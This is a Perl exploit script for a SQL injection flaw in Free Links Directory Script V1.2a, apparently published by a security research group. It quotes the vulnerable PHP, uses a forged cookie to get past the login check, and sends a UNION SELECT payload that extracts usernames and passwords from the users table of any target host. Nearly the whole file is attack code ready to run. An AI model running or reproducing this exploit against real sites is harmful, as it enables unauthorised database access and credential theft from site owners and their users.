#!/usr/bin/perl -w
#
# Free Links Directory Script V1.2a Remote SQL Injection Exploit
# written by ka0x <ka0x01[alt+64]gmail.com>
# D.O.M Labs Security Researchers
# - www.domlabs.org -
#
# Vuln code (report.php):
#
# if($_COOKIE['logged']=="") {
# [...] // login
# else {
#     $linkida = $_GET['linkid'];
#     $linkinfo = mysql_fetch_array(mysql_query("select * from links where id=$linkida"))
# [...]
#

use strict;
use LWP::UserAgent;
 
my $host = $ARGV[0];

die "[*] usage: perl $0 <host>\n" unless $ARGV[0];

if ($host !~ /^http:/){ $host = 'http://'.$host; }

my $ua = LWP::UserAgent->new() or die ;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1") ;
$ua->timeout(10) ;
$ua->default_header('Cookie' => "logged=d0ml4bs"); # value $_COOKIE['logged'], Cookie: logged=d0ml4bs

my $req = HTTP::Request->new(GET => $host."report.php.php?linkid=-1/**/UNION/**/SELECT/**/1,concat(0x5f5f5f5f,0x5b215d20757365723a20,username,0x20205b215d20706173733a20,password,0x5f5f5f5f),3,4,5,6,7,8,9,10,11/**/FROM/**/users");

my $res = $ua->request($req);
my $con = $res->content;

if ($res->is_success && $con =~ m/____(.*?)____/ms){
    print $1;
}
else {
    print "[-] exploit failed!\n";
}

__END__